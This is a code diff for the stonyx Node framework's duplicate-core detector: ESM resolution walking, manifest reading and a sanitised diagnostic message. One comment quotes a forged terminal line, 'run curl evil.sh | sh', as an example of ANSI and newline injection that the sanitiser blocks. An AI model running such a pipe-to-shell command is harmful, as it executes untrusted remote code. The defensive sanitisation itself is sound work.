+ * that never descends into a directory already named `node_modules`. **ESM's
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
+ * from a module at `<app>/node_modules/@stonyx/x`:
+ *
+ *   import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
+ *   await import('stonyx')        -> that copy
+ *   require.resolve('stonyx')     -> MODULE_NOT_FOUND
+ *
+ * A genuine second core there was missed silently. Worse, because ESM reaches
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
+ * success — this file's own opening paragraph ("it loads, it initialises, it
+ * reports success, and its hooks silently never fire") surviving the check
+ * written to catch it. Isolating control, moving nothing but the directory: the
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
+ *
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
+ * from that same module dir. Against the WALK PROPER the difference is one
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
+ * `<app>/node_modules/node_modules` (the miss above), and
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
+ * the three global folders (measured here: `~/.node_modules`,
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
+ * true of one enumeration and false of the other.
+ *
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
+ * levels of nesting is not a candidate, because
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
+ * planted two levels deep resolves to the real core, and is correctly ignored.
+ *
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
+ * reviewed as the screen instead of a shape test, and rejected here on typing
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
+ * at `<app>/node_modules` with a real second core inside it:
+ *
+ *   NODE_PATH=<app>/node_modules   provenance -> no core found
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *   NODE_PATH unset (control)      provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
+ * the app's own `node_modules` going invisible the moment a developer exports
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
+ * have introduced a miss. Generating the walk retires the question entirely —
+ * there is no list to screen and no environment read — which is why neither
+ * screen survives here.
+ *
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
+ * the first candidate carrying a core is the one returned. It is Node's own
+ * order, verified positionally rather than assumed: a distinct core planted in
+ * each of the first four candidates and removed one at a time, `await import`
+ * selecting exactly this sequence.
+ *
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
+ */
+export function esmNodeModulesWalk(fromDir) {
+    const walk = [];
+    for (let dir = fromDir;; dir = dirname(dir)) {
+        walk.push(join(dir, 'node_modules'));
+        if (dirname(dir) === dir)
+            return walk;
+    }
+}
+/**
+ * `null` when nothing is there — the ordinary case while walking up.
+ *
+ * A manifest that EXISTS but will not read or parse is a different state, and
+ * it is the fail-open site that had neither a signal nor a test. ENOENT and
+ * ENOTDIR mean "no package here"; anything else — EACCES from a `chmod 000`, or
+ * a SyntaxError from a corrupt manifest, which carries no `code` at all — means
+ * a package root was found and could not be inspected.
+ */
+function readPackageJson(dir, report = IGNORE) {
+    const file = join(dir, 'package.json');
+    try {
+        return JSON.parse(readFileSync(file, 'utf8'));
+    }
+    catch (error) {
+        const code = error?.code;
+        if (code !== 'ENOENT' && code !== 'ENOTDIR') {
+            report(`Stonyx: ${file} exists but could not be read as JSON (${code ?? error?.name ?? 'unknown error'}), ` +
+                'so it was not checked for a duplicate framework core.');
+        }
+        return null;
+    }
+}
+function asCore(dir, report = IGNORE) {
+    const pkg = readPackageJson(dir, report);
+    if (!pkg || pkg.name !== 'stonyx')
+        return null;
+    // A manifest with no string `version` is malformed, not absent. `'unknown'`
+    // keeps the row in the table: dropping the whole core because one field is
+    // missing would silently un-detect a real duplicate, which is the failure
+    // mode this file exists to remove.
+    return { root: realPath(dir), version: typeof pkg.version === 'string' ? pkg.version : 'unknown' };
+}
+/**
+ * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
+ * if that package is `stonyx`.
+ *
+ * Stops at the first `package.json` rather than at the first one NAMED stonyx:
+ * the first is by definition the package that owns the file, and continuing
+ * past it would walk out of the resolved package and could report an unrelated
+ * ancestor — inside this repo's own worktree, that ancestor is the repo root,
+ * which IS named `stonyx`. That would make every fixture look like a match.
+ *
+ * EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
+ * load-bearing, and until D15 the entire suite could not tell the two
+ * behaviours apart — a mutant that walked past a non-stonyx manifest survived
+ * every test. A docblock asserting a property with no test that can red is the
+ * defect family this cluster exists to remove, so the function is exported for
+ * one reason: so that claim can fail.
+ */
+export function owningCore(startDir, report = IGNORE) {
+    let dir = realPath(startDir);
+    for (;;) {
+        const pkg = readPackageJson(dir, report);
+        if (pkg)
+            return pkg.name === 'stonyx' ? asCore(dir, report) : null;
+        const parent = dirname(dir);
+        if (parent === dir)
+            return null;
+        dir = parent;
+    }
+}
+/** The `stonyx` copy that is executing this code. */
+export function runningCore(report = IGNORE) {
+    return owningCore(dirname(fileURLToPath(import.meta.url)), report);
+}
+/**
+ * The `stonyx` copy a package installed at `moduleDir` would import.
+ *
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
+ * first candidate that carries a `stonyx` package root wins, which is exactly
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
+ * still detected rather than silently skipped by an `exports` map.
+ *
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
+ * symlink before resolving the module's own imports. Walking the symlink path
+ * instead reads the app's flat `node_modules` and reports the running core for
+ * every module — the check would pass vacuously on exactly the installer
+ * `stonyx new` uses.
+ *
+ * Returns `null` when no copy is reachable at all — "cannot tell", handled as
+ * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
+ * go to `report`; see `InconclusiveReporter`.
+ */
+export function coreSeenBy(moduleDir, report = IGNORE) {
+    const resolvedModuleDir = realPath(moduleDir);
+    for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
+        const core = asCore(join(nodeModulesDir, 'stonyx'), report);
+        if (core)
+            return core;
+    }
+    return null;
+}
+/**
+ * Every discovered module that would import a DIFFERENT physical core.
+ *
+ * FAIL DIRECTION — this is the property, not an implementation detail. A
+ * module whose core cannot be resolved, and the case where the running core
+ * cannot identify itself, both report NOTHING. This guard exists to convert a
+ * silent wrong state into a loud one; it must not invent a boot failure out of
+ * an inconclusive probe. Every state it does report has two package roots in
+ * hand and has compared them.
+ */
+export function findForeignCores(modules, core = undefined, report = IGNORE) {
+    const resolved = core === undefined ? runningCore(report) : core;
+    // The first fail-open, and the one with the widest blast radius: no core, no
+    // comparison, nothing checked at all. Reported here rather than inside
+    // `runningCore` so the same line is emitted however the caller arrived at it.
+    if (!resolved) {
+        report('Stonyx: the running framework core could not identify itself, so the duplicate-core pre-flight was skipped and a second core would not be reported.');
+        return [];
+    }
+    const foreign = [];
+    for (const { name, dir } of modules) {
+        const moduleCore = coreSeenBy(dir, report);
+        // A module that resolves NO core is not an inconclusive probe and is not
+        // reported: `coreSeenBy` walks exactly what the module would import, so
+        // "nothing found" means there is no second copy on that path to hide. The
+        // two states that CAN hide one report from where they occur.
+        if (!moduleCore || moduleCore.root === resolved.root)
+            continue;
+        foreign.push({ moduleName: name, moduleCore, runningCore: resolved });
+    }
+    return foreign;
+}
+/**
+ * NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
+ *
+ * `version` and the package root come from a manifest this app did not write.
+ * `moduleName` is narrower — it is a key from the app's own `devDependencies`,
+ * so forging it is an app author forging their own diagnostic — but it is
+ * rendered through the same `padEnd` table, and it caused the same two
+ * symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
+ * COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
+ * sh <===`, indented to match) and destroyed the column alignment, because the
+ * widths are computed from the raw multi-line label.
+ *
+ * It was left raw at three sites while its two neighbours were sanitised — the
+ * package ROOT derived from that same name is sanitised in the very same row.
+ * Two halves of one string treated differently is an oversight, not a
+ * judgement, so it is closed rather than argued down.
+ *
+ * This renders BEFORE any module entry point is imported, so it is reachable
+ * under `npm install --ignore-scripts`: the one mode in which no third-party
+ * code has otherwise executed.
+ *
+ * Printable ASCII only, and bounded, so a long value cannot push the rest of
+ * the message off screen either.
+ */
+/**
+ * Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
+ * one thing in this message a consumer acts on directly, and a truncated path
+ * is worse than a long one — the version is a label, the path is an
+ * instruction. Nothing longer than this can exist on the filesystems Node runs
+ * on, so in practice a root is sanitised and never shortened.
+ *
+ * WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
+ * rendered LAST on its line and is never `padEnd`ed, so its length costs
+ * nothing but its own wrap. The module name and the version are both inside
+ * PADDED columns whose widths are the max over every row, so one long value
+ * there pushes every other row's remaining columns off screen. Those two take
+ * the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
+ * so a real name is sanitised and never shortened either.
+ */
+const PATH_LIMIT = 1024;
+function display(value, limit = 64) {
+    const clamped = value.replace(/[^\x20-\x7e]/g, '?');
+    return clamped.length > limit ? `${clamped.slice(0, limit)}...` : clamped;
+}
+/**
+ * The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
+ * `Stonyx modules with async loading must have a config/environment.js file` —
+ * which named a file that was present and correct, and named a module that was
+ * not the one that failed.
+ *
+ * Per `quality.md`, the replacement states what it does NOT cover, because the
+ * message it replaces is exactly the kind of overstated claim that made the
+ * next reader stop checking.
+ */
+export function duplicateCoreMessage(foreign) {
+    const [first] = foreign;
+    if (!first)
+        throw new Error('duplicateCoreMessage called with no foreign cores');
+    const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
+    const single = foreign.length === 1;
+    // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
+    // the SAME nested copy are two rows and two copies, not three. Found by
+    // running this against a real `stonyx new` tree: there the naive count was
+    // right by coincidence (three modules, three different copies), and it is
+    // wrong for the commonest npm shape, where siblings on one exact pin dedupe
+    // with each other.
+    const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
+    const rows = [
+        ['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
+        ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
+    ];
+    const labelWidth = Math.max(...rows.map(([label]) => label.length));
+    const versionWidth = Math.max(...rows.map(([, version]) => version.length));
+    const versions = [...new Set(foreign.map(({ moduleCore }) => moduleCore.version))];
+    // Only offer a pin when there IS one. Three modules pinning three different
+    // versions cannot be reconciled by any consumer-side pin, and naming one of
+    // them anyway is advice that does not work. The message this one replaces
+    // was wrong for exactly that reason — it asserted more than it knew.
+    //
+    // AND only when that pin is not ALREADY IN EFFECT. Same version at two roots
+    // is a duplicate INSTALL, not a version conflict — the shape
+    // `npm install -g stonyx` plus `stonyx new` produces, and the one the docs
+    // walk a consumer through — so telling them to pin the version their running
+    // core already IS, is advice that has demonstrably just failed. That is the
+    // same "asserts more than it knows" defect the whole message replaces.
+    const consumerRemedy = versions.length !== 1
+        ? 'There is no consumer-side pin that fixes this: the modules disagree among themselves ' +
+            `(${versions.map(version => display(version)).join(', ')}). They must be republished with the peer shape above.`
+        : versions[0] === first.runningCore.version
+            ? `Fix (this app, meanwhile): every copy on disk is already stonyx@${display(versions[0])}, so this is a duplicate ` +
+                'INSTALL and not a version conflict — no pin can merge them. Run one core: invoke the CLI from this app\'s own ' +
+                'node_modules/.bin/stonyx rather than a global install, and remove the redundant copy listed above.'
+            : `Fix (this app, meanwhile): pin stonyx@${display(versions[0])} so every copy dedupes to one.`;
+    return [
+        `Stonyx: ${copies} copies of the framework are installed and this app cannot be served.`,
+        '',
+        ...rows.map(([label, version, root]) => `  ${label.padEnd(labelWidth)}  ${version.padEnd(versionWidth)}  ${root}`),
+        '',
+        `Config, logging and lifecycle hooks are registered on the running core. ${names} ` +
+            `${single ? 'imports' : 'import'} a different copy, so for ${single ? 'it' : 'them'} \`Stonyx.config\` is empty, ` +
+            `\`Stonyx.log\` throws "Stonyx has not been initialized yet", and ${single ? 'its' : 'their'} ` +
+            'startup and shutdown hooks never fire.',
+        '',
+        `Fix (module author): ${names} must declare stonyx in devDependencies plus a non-optional ` +
+            'peerDependencies range, never as an exact dependency — @stonyx/discord is the reference shape. ' +
+            consumerRemedy,
+        '',
+        'Scope of this check: it compares physical package ROOTS only. It does not check that the ' +
+            'single surviving copy is a compatible version, and it looks at @stonyx/* packages declared in ' +
+            'this app\'s devDependencies that carry the "stonyx-module" keyword — nothing else. A copy ' +
+            'dragged in by anything outside that set, including an @stonyx/* package declared in ' +
+            'dependencies rather than devDependencies, is not counted.',
+    ].join('\n');
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "stonyx",
-  "version": "0.2.3-beta.96",
+  "version": "0.2.3-beta.98",
   "description": "Base stonyx framework module",
   "main": "dist/main.js",
   "types": "dist/main.d.ts",